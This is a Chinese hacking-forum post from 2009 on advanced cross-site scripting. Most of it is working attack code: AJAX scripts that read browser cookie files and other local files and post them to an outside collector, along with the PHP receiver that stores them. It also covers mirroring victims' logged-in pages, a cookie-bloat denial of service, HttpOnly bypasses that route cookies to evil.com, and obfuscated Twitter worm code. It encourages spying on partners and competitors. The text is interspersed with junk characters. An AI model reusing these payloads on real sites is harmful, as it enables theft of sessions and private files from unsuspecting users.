XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页1 ?7 l, @4 x1 n5 I# G( |
本帖最后由 racle 于 2009-5-30 09:19 编辑
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. A- \/ l7 L/ i" u0 _4 X; t6 K. xXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页: Y3 S* C! p# j
By racle@tian6.com
2 m1 Y" R. [) uhttp://bbs.tian6.com/thread-12711-1-1.html
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$ f. P5 l, G3 j5 P8 V5 m-------------------------------------------前言---------------------------------------------------------
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, k+ G2 n ]$ i3 E4 Q& T. w0 X& d本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:+ c% d8 b" G* Q% Q% V# d" ^
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介- d6 }, B) }( i6 F( r" K( F6 L
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
0 K; Q$ U6 ] [, p/ ghttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
' i1 L( K) r' s2 @3 m$ M, [http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF N* C2 g- j) w7 x# z
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
- n2 C" C1 T# }3 D9 o3 Zhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持* T7 K- c1 d% e" b+ E9 n
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: N I- I: g! s4 q) k+ L8 |如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.' p1 Q- Y! a+ Z2 G# W3 N
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.( r" u# e9 h& O6 j3 P
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,4 ~( g5 W$ Q1 i! U) f
9 f2 }$ H1 \% K7 ]& w9 yBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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QQ ZONE,校内网XSS 感染过万QQ ZONE.' C- {+ U' y/ w3 I; I* h
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------
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5 K4 s$ N/ Q9 V; T6 q( N4 @什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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) R4 {; E: a7 k6 {跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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) Y' |+ e$ }7 f6 z$ d! y/ Q5 `如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.) u" |9 X. s2 {6 F
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
& `3 m$ C2 h; k/ R4 m. F" S, \我们在这里重点探讨以下几个问题:
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. F- c# x; \* t& Q8 g. j1 通过XSS,我们能实现什么?
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?% o) {+ L2 F: y9 N2 c; C' F) w
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免., `5 r, y% D/ Y+ g, h. K2 n
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: z* z+ N, Z" t1 e3 _' [1 }------------------------------------------研究正题----------------------------------------------------------/ r1 F! G1 b8 y+ w% l7 q
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" y* o" _3 k/ i9 }. l通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫. H5 p: O; O5 G2 K
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
1 I! ]4 v2 d+ s! g. {/ ^' [复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
. I% }' Q ]/ P0 T. w1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.+ r. m5 m4 U% j3 s
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.2 @9 k! l% Y4 N4 T8 d" ^. Z
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
! g, Y7 }6 z2 G7 P) E1 H4:Http-only可以采用作为COOKIES保护方式之一.
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, E6 F! U' Z Z! k4 `) v, d(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)$ w3 P$ f+ h( x( h2 t
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)9 O2 [( P) F F7 ?2 p" `5 ]
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。" r7 q; w7 A) l* K
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.! f& Z" M* @) ]$ v( `" f+ a
复制代码IE6使用ajax读取本地文件 <script>2 I W$ Z4 |2 ]+ p( u, n8 o6 k, x
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function $(x){return document.getElementById(x)}; u6 u. g) O2 }" ?$ V
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if(window.XMLHttpRequest) {
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',' U! l) J2 R0 _0 F# A5 e- t
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];/ o. s9 U" }& @6 Q( U' _$ I
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return request;
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}
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var _x = ajax_obj();
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function _7or3(_m,action,argv){ k6 X- p1 y. ?3 q
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_x.open(_m,action,false);; P! K: M9 P: M
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");" J, l/ @7 }, _, P1 R1 @
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_x.send(argv);
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return _x.responseText;, S6 C7 \0 l/ s4 `8 `% _5 q
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/ \( l6 D7 u. H% W b var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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9 U {% u$ h/ ? alert(txt);3 x9 B% C; O( Q1 K5 i9 n
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5 K9 ~0 _. F) ?; f </script>: e8 b: d& x6 s4 }( J$ M% o3 N
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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3 ^7 Y" p3 Z# K5 r+ V; M function $(x){return document.getElementById(x)}
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function ajax_obj(){2 J5 d$ A) a/ v" l2 p2 s7 ?
; [6 Z# Z: j) v4 q var request = false;% @8 E; m/ W& }& M9 g6 l3 ?, B, Q
" q- r- L1 r; N) z( J if(window.XMLHttpRequest) {9 i/ S% B& v4 ~8 E
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request = new XMLHttpRequest();
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',) C1 }5 x; s7 O4 w' R2 Q
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5 e- G$ f) v* ~ 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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$ [& e$ B- O7 l/ t' s for(var i=0; i<versions.length; i++) {: B9 t& _# A8 ~" K$ B, r- w3 e
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3 }- l1 u( x4 K0 B* A8 W request = new ActiveXObject(versions);! f0 c+ `0 R& q' b4 k
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return request;1 J5 n; O; Q# e# K# ?! F
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}
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var _x = ajax_obj();
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: h3 t) b; L* W7 A function _7or3(_m,action,argv){1 z, N. ?9 [' y& p
' z; G) L C9 \; X9 d# C: T _x.open(_m,action,false);# u) ` D( s' B
: F; J4 I5 Y& {+ |, Q1 _0 v if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");4 h7 w1 q9 t2 [1 i1 V, s
, Y; B1 j! [, t7 | _x.send(argv);/ [! m- s6 y! |" E, F2 M
! {5 C- a4 C& \) X return _x.responseText;( Y% B; A' F( F
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var txt=_7or3("GET","1/11.txt",null);/ n9 x. \' e" h
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alert(txt);
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"8 a9 @/ ~' }+ }- S8 ^; F4 a
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<? - k/ M( P* z' c! r( a2 K0 a, ^
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/* 2 K9 a& U5 a- ]5 t5 |
# V l6 F' ~$ D+ R6 T) J2 ^; B Chrome 1.0.154.53 use ajax read local txt file and upload exp
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author voidloafer@gmail.com 2009-4-22
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" {6 h) ~/ }: p Y' C5 J http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. 7 ~6 H, m6 }1 p% M- u, {
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' F; G/ j' a+ d0 R# S2 {- bheader("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx");
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/* W; p6 m) F+ t+ L8 {1 [0 p2 r2 \
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set header, so just download html file,and open it at local.
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/ N1 P& O+ [ g5 m B6 y# a4 N<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden">
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4 S/ y3 k) r* C: e E, U) t</form> + j U" |* b* o2 M8 H
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<script> , F& P0 j: z2 }) z( K
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function doMyAjax(user) " ^4 ~/ C( m2 ^9 Y0 N, ?1 g2 G" @
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{
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var time = Math.random(); ! S' R; Q- k: y' X+ y
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/* ; K1 A8 S' w# l8 C. _) S
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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4 B7 V" Q) ^& e3 u% y! dand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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/ M2 D6 C0 H5 nand so on... 5 o6 @9 z- A0 d: h/ ~- G' H
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% T1 P, L* J) R2 `) U; |3 Lvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; $ E' N4 D- }2 P: ^1 M/ M# c6 H, H5 t
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; z- x9 n: E' z4 @: MstartRequest(strPer);
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function Enshellcode(txt) j A' e; Z+ H; o B
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{ " [/ R" M: c; H) a" C
w) C7 R/ J5 S8 M Y t, u# y2 svar url=new String(txt);
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0 j" |) z5 P l" G2 M. `9 Ovar i=0,l=0,k=0,curl="";
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l= url.length; - I/ A1 p1 D* I! i- r* q
S' h9 i1 b3 [) e& V. P' V, Bfor(;i<l;i++){
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k=url.charCodeAt(i); ' o3 i% U9 e3 S8 H3 g. A; K' o/ g
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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5 D ~* j0 g) T! s' bif (l%2){curl+="00";}else{curl+="0000";}
# m0 A/ G1 G% k: W0 c
1 b9 p/ b& e3 P+ v+ ^curl=curl.replace(/(..)(..)/g,"%u$2$1"); : g Q& D4 |( F' F7 N
! A9 Q+ R0 t8 b0 S K' ]6 z+ S( m5 }return curl; : y; ]% K6 g5 w9 M0 H% {
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+ O8 e- W2 b' e- Z# J* G. _4 svar xmlHttp; ! y4 Z; b" z' T4 |
& C6 ~) V4 E8 M) Kfunction createXMLHttp(){ 5 j+ o% g) J, i& W' z5 J2 `6 f0 G
0 v, A# _0 Z a if(window.XMLHttpRequest){ " N6 S, O+ Z6 n' a& g9 @/ F
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xmlHttp = new XMLHttpRequest();
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}
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else if(window.ActiveXObject){ & H! W5 Z+ I3 g8 ~ X5 p5 _. C. g7 r
2 L! P3 S, P' k3 @, |xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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} 8 O* _/ b5 U ~& z' {! |
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function startRequest(doUrl){
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! |" U& H6 g9 J createXMLHttp(); " Q6 B% [1 `, A) k4 x
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4 h7 s' i) O0 T& y/ n# Z3 R) Z; R) i0 x. {
xmlHttp.onreadystatechange = handleStateChange; " J0 y" `1 h1 J+ Q
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7 B. u/ i8 ?: |+ r: F
xmlHttp.open("GET", doUrl, true); 2 |4 q% @0 e4 Q
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xmlHttp.send(null); 1 E W+ w6 X e; v$ H( W' F; J
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} , x5 J8 O- e3 \; X
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function handleStateChange(){
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5 n) _* } j$ l- w X% T$ } if (xmlHttp.readyState == 4 ){
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var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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} " ]* {3 r' O1 D$ {# f& G
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} + { ]' O; {: N/ L
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* {: F! m: C8 o1 {$ Z2 n5 }7 V: i2 Z1 H% Z3 t' _: Q' X; }; U9 S
function framekxlzxPost(text)
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document.getElementById("input").value = Enshellcode(text);
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document.getElementById("form").submit(); , u1 H: I; P/ b/ x5 y
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+ t" N8 P, _- R n6 c2 N% {+ odoMyAjax("administrator");
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</script>) J( ]. j9 \( `
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp; N! Z# I& M" v( y% r: ~! B1 }3 [
* E# u' m6 O% ]/ J% q; m( C- Ifunction createXMLHttp(){
2 X5 b1 {7 x+ g% h4 E4 m) z, S T5 I, H
if(window.XMLHttpRequest){
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) {3 \* {6 B" u+ @ xmlHttp = new XMLHttpRequest();
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}
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else if(window.ActiveXObject){ + i" c2 P, q, o8 \+ S3 X+ T/ K
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ; B) V: K9 h. r
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( U4 [& f' ?0 a R}
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function startRequest(doUrl){
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; W3 V& [2 r% U/ x1 A4 O
4 I4 f4 g% N8 h# @ createXMLHttp();
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0 v. o7 x3 b o6 j+ a% }1 Z xmlHttp.onreadystatechange = handleStateChange;
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0 [5 \- ?6 C/ s6 W8 O xmlHttp.open("GET", doUrl, true); ' {+ g/ A$ _( s/ i
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xmlHttp.send(null);
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function handleStateChange(){ & r0 `/ J1 M: {2 ~8 W0 x
2 }3 B, l* I9 e$ e9 ^- d if (xmlHttp.readyState == 4 ){
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1 ~: h6 E. k- X( c% R var strResponse = ""; ( u) J* ]" V7 `; D: |8 N, L
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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4 ]" O6 r7 [! E, q* M# r6 S) Q/ C3 h/ a j: K
function doMyAjax(user,file) / r" e8 n, c+ Q [! _
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0 I: q# ] B7 L+ F e
var time = Math.random(); ! A: V: X0 U# R1 y) P6 h
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8 _" t/ o2 y0 `/ r/ ^
2 g% I1 }0 I' \ var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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startRequest(strPer);
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}
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function framekxlzxPost(text)
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7 f3 X% z8 ~: S8 ]% y+ l8 ?# _
7 R' L2 G$ P% Y5 L4 A' s8 X! u document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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/ d' H4 |3 C8 p: V! ] alert(/ok/); - u' @$ R0 k4 I q% L, B
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$ p9 A+ l1 u v$ \# U3 zdoMyAjax('administrator','administrator@alibaba[1].txt'); * m J+ f% ^" W$ ~3 g" Y( n
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) F6 A9 c9 }2 b</script>
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* s& K, ^6 D* j: `
a.php
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1 p; V2 [$ P1 b% F# V+ I, g6 L<?php
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, Z6 q# s6 u% o0 O$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 2 _( I; f0 G0 b! M5 X" L# \5 T
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 1 H$ M1 d( Y/ d% f' E2 {
8 Q4 d/ m' V+ {8 n4 w- x$ {$ Z# @
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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: ~0 w6 p' n6 \4 L! cfwrite($fp,$_GET["cookie"]);
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fclose($fp); % f. l/ n3 T5 r: e$ e8 k- K- ^
p+ \! `8 {) ??>
2 u: O3 D9 H( j( D9 T8 G1 k: w% j复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
! v- m/ m) W) ]9 d' S利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.4 S0 {) n2 `- f3 o. u" q' }
9 \/ r0 C. L9 O _代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);$ @2 ~. C. \7 k9 |4 @
0 w0 ^% A0 k9 u( J' K2 r//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);8 A r6 Y S& w3 ]+ X- W/ |9 W
- V* i& a9 K4 k# e. Bfunction getURL(s) {
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var image = new Image();
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. e( `2 S, t1 Q& ?image.style.width = 0;
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image.style.height = 0;
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image.src = s;8 I: m* `) V$ _) l
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
! r3 m% }% Z I, M4 {- k复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
" R) |( A, K( a! T# L6 r7 X' f( D9 s这里引用大风的一段简单代码:<script language="javascript">0 h7 T- v) w1 L+ x2 {6 p: n
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var metastr = "AAAAAAAAAA"; // 10 A) y! k1 w- P4 @7 G; w1 K
/ [% ?8 z$ W$ a" \4 V! p) t1 W/ wvar str = "";
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* J. c' j6 P9 K" ?' R8 P; kwhile (str.length < 4000){
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r5 {" Q$ h, E( _ str += metastr;' P @6 I" e9 z/ k( U( i" Y: B
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>$ O) S6 T( n2 }3 \0 v& [& E
/ R2 I2 j/ X) K1 C! W* x, | U+ k详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html I! D- V6 K- _
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.% n9 Z" X i$ J# F
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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. h! _( O+ m2 b+ S; X假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
" d" e8 |, ~% _1 ?攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策:
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.' y0 j) t- @0 V5 P1 A
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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<!--
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function normalCookie() { " k- D( W, ] U, _6 V# h
. o, L9 @- }* j7 {8 I7 s5 Pdocument.cookie = "TheCookieName=CookieValue_httpOnly"; , l5 Q; C/ Q3 ^! P/ v
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alert(document.cookie);8 h& v* R. L2 \3 q" O
4 X# k1 k1 n; v}
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1 B; {% z0 R" n, \+ pfunction httpOnlyCookie() { {! B! ^7 y# @! w
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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alert(document.cookie);}
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//-->0 p- R" F6 g8 X, D" y/ B2 K& e
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</script>( h+ P/ k6 O+ v6 p
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# t6 {, I- ~" g5 v% P1 J! G0 p% o<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>' ^3 R% ~ p P1 |$ V/ P: g2 l
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
$ e; R- |8 P. M8 L* z% v0 q( C7 c! h复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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6 ^: O; Q- L1 ~' a4 i5 dvar request = false;9 v9 {$ w7 f" A& i, m
; i/ c4 e% p5 M* T3 B8 j if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();0 ~! x7 E$ M' a8 k# x& R
7 c0 l& F8 B. M5 V( L: @ if(request.overrideMimeType) {4 R) K/ X7 I6 X2 d4 ]) [6 B; s0 X
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request.overrideMimeType('text/xml');1 c+ K% \( S9 y/ R& P! t& K
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- c8 H2 T: K7 _' B5 D ? } else if(window.ActiveXObject) {" Y) j e) X( i- X
/ S& g: \9 O2 T4 k# C P7 w var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];: Y6 i2 q) q, }+ P: M: x
* z. }" p# H1 q0 }" o- G
for(var i=0; i<versions.length; i++) {, e3 y* p" W$ P, |& D% c
8 I( R6 D$ b- S# ` try {
4 p w. h& B9 ~3 N. p) S/ r8 c) n% X/ {9 ]
request = new ActiveXObject(versions);
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} catch(e) {}* b4 b+ b5 `' O$ M- W- r
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+ g: I* a# I; ~7 a* o* h
9 X1 R @5 D' u) a }5 Z* n! ]& {1 r
% a# P# F: Q5 r& F5 G4 W JxmlHttp=request;. L$ Z g! B5 x( p+ w
2 V8 @$ p) v+ }# |; ~, d; SxmlHttp.open("TRACE","http://www.vul.com",false);9 C( V" i$ R5 z2 ~ N* I
8 g! U8 C2 ~; p5 U6 h" C0 DxmlHttp.send(null);
* ^! y; z4 b A7 U2 _$ Y$ }) S) T# w
xmlDoc=xmlHttp.responseText;" K* V: n+ b) M, ?( G" d
9 y* A0 @* u; o3 o
alert(xmlDoc); [5 H; {- [6 T+ H/ n4 v
. L- j5 \$ y8 _. h0 z# B4 t7 Y! Z</script>
' g+ N% p& k( U0 Q V0 W7 y复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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; l8 F7 u9 i! ?; _; p Bvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
' J7 W: O2 ?; ~& L+ \
' J0 G) c# Y' s/ O% |XmlHttp.open("GET","http://www.google.com",false);! }( c7 O* ]: d& X, K* Y
6 V) K" M, p$ s7 C* \. HXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
5 y' d! I$ @; J# a, h& i- s( E" H# f, R1 u2 Z
XmlHttp.send(null);
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var resource=xmlHttp.responseText7 ~/ `0 W# ~' d" w6 h' V! l1 m
# H1 N- H6 f. c) X! Cresource.search(/cookies/);' j5 F. l* t" Z* R9 H1 A& D
Z+ ~9 U m, e) D7 r5 m......................
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</script>( I \2 M6 [ D; Z9 J7 ~& T
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3 s/ g3 |" p0 g
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求& q4 Y/ Y$ ]" |5 {% K
/ `. P/ L' D& s6 c[code], i8 Y, s! Q$ [
4 y' i& W0 v7 g3 ?. i
RewriteEngine On! z6 Z5 S3 a* c# S9 `, N" y
' E. G' C) ?) k* d" N4 ORewriteCond %{REQUEST_METHOD} ^TRACE( N4 b6 A" @1 ?8 D2 Z
0 U6 ^" h9 |7 N% D9 j6 f( g- q% ~RewriteRule .* - [F]4 a/ L( S* G* K$ ~
5 R3 x0 n1 e- o# \
) q3 H4 ~; N: |- N, a0 o8 v9 X! ]. D9 E0 } {
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
9 x: c4 }3 x: n- o; L7 N* I' R) G8 s% Z% |& c+ B) k
acl TRACE method TRACE
$ `2 z9 a h) P( g- c7 J% w8 B2 [, R7 E, Z$ m& O& b
...
+ F7 M" U* l5 e$ M1 u# P8 O. Y& J( Z& n/ x
http_access deny TRACE
! b) E4 ^( \% L6 a; _' l复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
3 R* _- z3 q" h6 |* ?
; P- L( x q8 c2 g; svar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");8 y# [$ n; I I1 M+ m
3 D' t' o, Y9 N, V8 B) gXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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! ~! l! w9 B/ M. h$ e: d1 JXmlHttp.send(null);
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</script>
0 f7 p7 E0 y% ?复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
% c2 m* \" X0 A0 Q. `9 h
0 Q/ f: A1 w1 e- tvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# J, {1 l+ H* f# W4 h3 d1 D& U! L* r' o: B
' ^' F, |3 q3 T# z! F) i' ?$ `9 _3 b; f! W6 u: w) i% b
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
9 T% ?/ n1 j7 r% d t
1 D' `9 Y1 l8 iXmlHttp.send(null);+ [. z% E. `- a, X
* v5 m. n- x& ?<script>9 S# m/ c# q5 y0 ~# B* i
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
% r# C. D9 n" {$ _+ @复制代码案例:Twitter 蠕蟲五度發威
4 e$ d+ b. W. C第一版:
' P( A1 P6 ]! C& i0 c: | 下载 (5.1 KB)1 q0 w! f# W6 ?4 \( ]) O
( K' a. a, o' \. S- u
6 天前 08:27: C; P% `8 Y+ a" i( f0 {
- |1 b% O; ?3 d4 i: j- @' I. ^第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2. # z2 e' k" M; Q/ [
; }3 S6 x+ T5 v2 n5 g) c4 W9 I7 u, B9 U
3. function XHConn(){ 2 @& G3 a1 h f" [# ?3 F: f
# q% R% P9 r/ p* P/ o: q
4. var _0x6687x2,_0x6687x3=false; / I! ~7 Q. D+ a% ?: V+ ]) i7 [. L
& {, k3 t& I s* D. J
5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
